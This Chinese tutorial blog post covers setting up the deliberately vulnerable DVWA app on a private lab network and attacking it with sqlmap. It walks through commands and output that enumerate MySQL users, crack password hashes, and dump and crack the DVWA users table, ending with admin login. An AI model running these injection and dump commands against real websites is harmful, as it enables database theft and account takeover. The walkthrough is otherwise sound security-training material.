通过sqlmap检测sql注入漏洞

  • 安装SQLmap漏洞查看工具

  • 安装渗透测试演练系统DVWA

  • 使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码

环境介绍

安装SQLmap:Rich七哥64.cn   IP:192.168.1.64

渗透测试演练系统DVWA:Rich七哥63.cn   IP:192.168.1.63

sql注入概述:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。

比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击

例:12306.cn 帐号和密码泄露。

什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

官方网站下载http://sqlmap.org/

21.1.3 Rich七哥64上安装sqlmap

1、安装Python 环境

我系统中已经安装过了,没有的可以使用下面这条命令安装

[root@Rich七哥64 ~]# yum install python  -y

[root@Rich七哥64 ~]# python -V

Python 2.7.5

2、sqlmap 的安装比较简单,主要是把源码下载下来就可以了

把sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz上传到Linux系统中

[root@Rich七哥63 ~]# tar zxvf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz

[root@Rich七哥63 ~]# cd sqlmapproject-sqlmap-7eab1bc

[root@Rich七哥63 sqlmapproject-sqlmap-7eab1bc]# ls

doc   lib      procs      shell         sqlmap.conf  tamper     txt  waf

extra plugins  README.md  sqlmapapi.py  sqlmap.py   thirdparty udf  xml

#注: python是解释型语言,不需要编译,就是shell脚本, c语言是编译型语言

3、运行sqlmap

[root@Rich七哥63 sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py

可以执行,说明安装成功了。只是咱们没有指定对应的参数,报了个小错。

4、设置环境变量

上面安装的sqlmap每次运行的时候都需要输入相应的路径用起来比较麻烦,可以通过设置环境变量的方式来直接使用sqlmap 命令

方法1:修改环境变量: PATH

方法2:创建软链接 ln -n

方法3:创建一个别名

[root@Rich七哥64 ~]# vim /etc/profile  在文件最后添加如下代码(路径根据自己的来定)

alias sqlmap='python /usr/src/sqlmapproject-sqlmap-7eab1bc/sqlmap.py'

[root@Rich七哥64 ~]# source /etc/profile   这样就可以直接使用了

[root@Rich七哥64 ~]# sqlmap

或:

[root@Rich七哥64 sqlmapproject-sqlmap-7eab1bc]# vim /etc/bashrc          (在末行添加)

alias sqlmap='python /usr/src/sqlmapproject-sqlmap-7eab1bc/sqlmap.py'

[root@Rich七哥64 sqlmapproject-sqlmap-7eab1bc]# source /etc/bashrc

安装渗透测试演练系统DVWA

DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

官方网站:链接地址:http://www.dvwa.co.uk 由于是国外的网站,有时可能会打不开。

这里使用的版本:DVWA-1.9.zip

在Rich七哥63上部署DVWA网站

1、.使用rpm包,快速搭建LAMP环境:

[root@Rich七哥63 ~]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb mysql

注:php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。 在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码。
2、安装完之后,检查安装的状态和启动服务
[root@Rich七哥63 ~]# systemctl start httpd
[root@Rich七哥63 ~]# systemctl start mariadb
开机启动:
[root@Rich七哥63 ~]# systemctl enable httpd
[root@Rich七哥63 ~]# systemctl enable mariadb
3、测试LAMP环境:
[root@Rich七哥63 ~]# vim /var/www/html/test.php

<?php

       phpinfo();

?>

访问http://192.168.1.63/test.php正常,说明LAMP环境支持PHP解析没有问题

配置mysql数据root用户密码:

[root@Rich七哥63 ~]# mysqladmin -u root password "123456"

[root@Rich七哥63 ~]# mysql -u root -p123456

将下载的dvwa渗透系统代码上传到Linux上,并解压到网站根目录下

[root@Rich七哥63 ~]# unzip -d /var/www/html/ DVWA-1.9.zip

[root@Rich七哥63 ~]# ls /var/www/html/

DVWA-1.9 test.php
[root@Rich七哥63 ~]# chown apache:apache /var/www/html/DVWA-1.9/ -R

编辑DVAW配置文件/dvwa/config/config.inc.php,配置数据库信息,user和password是MySQL的用户名和密码。

[root@Rich七哥63 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php 修改的地方如下:
15 $_DVWA[ 'db_server' ] = '127.0.0.1'; 16 $_DVWA[ 'db_database' ] = 'dvwa'; 17 $_DVWA[ 'db_user' ] = 'root'; 18 $_DVWA[ 'db_password' ] = '123456'; #只需要修改成你的mysql的root用户密码

部署DVWA网站系统

在浏览器中输入:http://192.168.1.63/DVWA-1.9/setup.php

解决报错信息:

[root@Rich七哥63 ~]# vim /etc/php.ini

改:815 allow_url_include = Off

为: allow_url_include = On

[root@Rich七哥63 DVWA-1.9]# systemctl restart httpd

reCAPTCHA key: Missing

reCAPTCHA概述:

CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU。

https://github.com/XX-net/XX-Net/wiki/使用Chrome浏览器

CAPTCHA:验证码

解决:

[root@Rich七哥63 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php

改:

26 $_DVWA[ 'recaptcha_public_key' ]  = '';

 27 $_DVWA[ 'recaptcha_private_key' ] = '';

为:

$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

再次访问,进行检测:http://192.168.1.63/DVWA-1.9/setup.php

生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥

访问https://www.google.com/recaptcha/admin/create并用google账户登录,在文本框输入自己网站的网址,如global-key.mycompany.com,点击create key,生成Public Key和Private Key。

点 Create / Reset Database 创建测试数据库 DVWA

点 Create / Reset Database后,等2秒,它会自动跳转后台管理登录页

后期登录:

http://192.168.1.63/DVWA-1.9/login.php

dvwa的登录界面的默认用户名和密码为admin和password

SQLmap探测sql注入漏洞

查看sqlmap.py 帮助选项:

语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

完成以以下操作:

枚举登录MYSQL数据的用户名与密码

枚举所有数据库

枚举指定数据库的数据表

枚举指定数据表中的所有用户名与密码

21.3.1 枚举登录MYSQL数据的用户名与密码

扩展:

使用SQLmap之前我们得到需要当前会话cookie等信息,用来在渗透过程中维持连接状态

Cookie 使用其复数形式称为cookies ,指某些网站为了识别用户的身份、进行session跟踪,而存储在用户本地终端上的数据(通常是经过加密)

只要登录过网站,就会在用户本地产生cookie,主要用于身份识别、进行session会话跟踪

为方便演示,我们将DVWA安全等级设置为low:

接下来我们进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:

http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#

这里有提交sql语句的地方,所以就是我们的一个sql注入点。

因此该页面就是我们的目标页面。

获取当前页面的cookie信息 :

复制cookie值以后,排成如下格式:

security=low;PHPSESSID=mm08bcjlsb88tv2u4aaamra6h5

21.3.2 使用sqlmap检索当前数据库和当前用户

[root@Rich七哥63 ~]#sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit&user_token=44fb804005da7ed1ccbd3732f76311d2#" --cookie='Security=low;PHPSESSID=mm08bcjlsb88tv2u4aaamra6h5' -b --current-db --current-user

注:中间会遇到几个选项,一路选择Y就可以了

使用选项:

1、--cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”

2、-u : 指定目标URL

3、-b : 获 取DBMS banner (DBMS:Database Management System    数据库管理系统)

BMS banner (DBMS:Database Management System    数据库管理系统)

4、--current-db : 获取当前数据库

5、--current-user :获取当前用户

结果如下:

或:

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" -b --current-db --current-user #不写cookie也可以

或:

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" -p id --dbs

21.3.3 2:使用命令用来枚举所有登录msyql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' --string="Surname" --users --password

使用选项:

1、--string : 当查询可用时用来匹配页面中的字符串

2、--users : 枚举DBMS用户

3、--password : 枚举DBMS用户密码hash

运行结果:

database management system users [5]:  

#用户列表

[*] ''@'localhost'

[*] ''@'Rich七哥63.cn'

[*] 'root'@'127.0.0.1'

[*] 'root'@'localhost'

[*] 'root'@'Rich七哥63.cn'

[18:32:54] [INFO] fetching database users password hashes

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y

[18:32:57] [INFO] writing hashes to a temporary file '/tmp/sqlmapgGGe6915601/sqlmaphashes-wZV5xB.txt'

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y

[18:33:00] [INFO] using hash method 'mysql_passwd'

[18:33:00] [INFO] resuming password '123456' for hash '*6bb4837eb74329105ee4568dda7dc67ed2ca2ad9' for user 'root'

database management system users password hashes:

#数据库管理系统用户和密码hash:

[*] root [2]:

   password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9

   clear-text password: 123456

   password hash: NULL

注:到现在,我们已经知道,当前数据库是5.5.56-MariaDB, 登录mysql的用户root的密码为:123456

21.3.5 枚举系统中所有的数据库名:

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' --dbs

使用选项:

--dbs: 枚举DBMS中的数据库

结果如下:

available databases [5]:

[*] dvwa

[*] information_schema

[*] mysql

[*] performance_schema

[*] tes

21.3.6 4枚举dvwa数据表,执行以下命令:

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -D dvwa --tables

使用选项:

1、-D : 要枚举的DBMS数据库

2、--tables :枚举DBMS数据库中的数据表

得到结果如下:

Database: dvwa

[2 tables]

+————+

| guestbook |

| users |

+————+

21.3.7 获取dvwa库中users表的所有列名字:

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -D dvwa -T users --columns

使用选项:

-T : 要枚举的DBMS数据库表

--columns : 枚举DBMS数据库表中的所有列

结果如下:

Database: dvwa

Table: users

[6 columns]

+————+————-+

| Column | Type|

+————+————-+

| avatar |varchar(70) |

| first_name |varchar(15) |

| last_name |varchar(15) |

| password |varchar(32) |

| user |varchar(15) |

| user_id |int(6) |

+————+————-+

21.3.8 拖库

提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来

[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -D dvwa -T users -C user,password --dump

使用选项:

-T : 要枚举的DBMS数据表

-C: 要枚举的DBMS数据表中的列

--dump : 转储DBMS数据表项

SQLmap会提问是否破解密码,按回车确认:

注: 尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码

查看导出的数据:

[root@Rich七哥64 ~]# vim /root/.sqlmap/output/192.168.1.63/dump/dvwa/users.csv

user,password

1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)

admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)

gordonb,e99a18c428cb38d5f260853678922e03 (abc123)

pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)

smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)

这时我们就可以利用admin帐户登录做任何事了。

总结:

21.1 安装SQLmap漏洞查看工具

21.2 安装渗透测试演练系统DVWA

21.3 使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码

觉得有用请点击推荐

渗透测试环境搭建以及使用sqlmap获取mysql用户数据库密码的更多相关文章

  1. Kali Linux Web渗透测试手册(第二版) - 1.0 - 渗透测试环境搭建

    一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装VirtualBox 创建一个Kali Linux虚拟机 更新和升级Kali Linux ...

  2. Metasploit渗透测试环境搭建

    渗透测试实验环境搭建 下载虚拟机镜像 5个虚拟机镜像,其中Linux攻击机我选择用最新的kali Linux镜像,其余的均使用本书配套的镜像. 网络环境配置 VMware虚拟网络编辑器配置: 将VMn ...

  3. DVWA渗透测试环境搭建

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助w ...

  4. 使用WampServer和DVWA在Windows10上搭建渗透测试环境

    前言: DVWA是一个具有脆弱性的Web测试应用,需要PHP和MySQL的环境支持.我们可以手动配置DVWA所需的运行环境,也可以使用WampServer进行搭建.WampServer是集成了Apac ...

  5. 使用XAMPP和DVWA在Windows7上搭建渗透测试环境

    前言: XAMPP是一个Web应用程序运行环境集成软件包,包括MySQL.PHP.PerI和Apache的环境及Apache.MySQL.FilleZilla.Mercury和Tomecat等组件.D ...

  6. 搭建asp渗透测试环境

    win2k3下载地址 http://yun.baidu.com/share/link?shareid=77306757&uk=2852438886 win2003 Enterprise Edi ...

  7. Django学习——Django测试环境搭建、单表查询关键字、神奇的双下划线查询(范围查询)、图书管理系统表设计、外键字段操作、跨表查询理论、基于对象的跨表查询、基于双下划线的跨表查询

    Django测试环境搭建 ps: 1.pycharm连接数据库都需要提前下载对应的驱动 2.自带的sqlite3对日期格式数据不敏感 如果后续业务需要使用日期辅助筛选数据那么不推荐使用sqlite3 ...

  8. Linux测试环境搭建的学习建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux测试环境搭建的一些建议. 一.Linux测试环境搭建从基 ...

  9. 总结Selenium自动化测试方法(二)测试环境搭建

    (接上期内容) 二.测试环境搭建 1.安装python 现在python3.0比python2.0多了一些改进的功能(详见http://zhidao.baidu.com/link?url=3sT1g7 ...

随机推荐

  1. http的get与post

    1.http请求 http有两种报文,请求报文 (发送请求,可能包含数据)和响应报文(服务器响应请求获取数据).一个http请求报文由请求行,请求头部,空行和请求正文(数据)四个部分组成. HTTP请 ...

  2. ASE高级软件工程 第一周博客作业

    1.自我介绍 我叫姚顺,是来自哈尔滨工业大学计算机学院的一名大四本科生,专业方向计算机科学,目前在KC组实习.平时的业余时间主要用来打篮球,听音乐,跑步,当然还有游戏(划掉).之前的大学三年主要用来做 ...

  3. MessagePack Java 0.6.X 使用一个消息打包(message-packable)类

    使用注解 @Message 来让你可以序列化你自己类中对象的 public 字段. 本代码可以在 https://github.com/cwiki-us-demo/messagepack-6-demo ...

  4. liunx系统中安装lua以及torch

    一直在用pytorch,最近在做项目的时候,遇到了torch的开源代码,所以又开始不得不接触torch以及他所依赖的环境lua. liunx下lua环境的配置代码如下: ''' curl -R -O ...

  5. reactjs 的 css 模块化工具 styled-components 升级后 createGlobalStyle 废除,使用 createGlobalStyle 的方案

    在 styled-components 升级到 4 版本后设置全局属性的 createGlobalStyle 这个 api 被废除,替代的 api 是 createGlobalStyle 与过去组织代 ...

  6. RabbitMQ消费端限流策略(十)

    消费端限流: 什么是消费端限流? 场景: 我们RabbitMQ服务器有上万条未处理的消息,我们随便打开一个消费者客户端,会出现下面情况: 巨量的消息瞬间全部推送过来,但是我们单个客户端无法同时处理这么 ...

  7. React 开发中面临的九个重要抉择

    抉择系列:在技术开发的过程中我们会面临着各种各样的抉择,我们在不同情境下该如何选择恰当的技术,这是本系列文章想要解决的问题. 在 React 开发的过程中我们常常会遇到一些抉择,下面我将选取其中一些个 ...

  8. C++入门经典-例6.8-gets_s与puts的应用

    1:使用标准输入函数cin和格式化输入函数scanf时都存在这样一个问题:当输入空格时,程序不会接受空格符之后的内容内容. 输入函数gets_s与输出函数puts都只以结束符'\0'作为输入\输出结束 ...

  9. JSP之Bean

    <jsp:useBean id=" " class" "/>创建JavaBean对象,并把创建的对象保存到域对象 比如:<jsp:useBea ...

  10. CountDownLatch用法实践

    项目中写多线程时,需要判断所有线程是否执行完毕,所以想到了添加累加器来判断.这个累加器使用什么变量,找到了以下2种方式. 1. 类似AtomicInteger这种提供原子操作的类型AtomicInte ...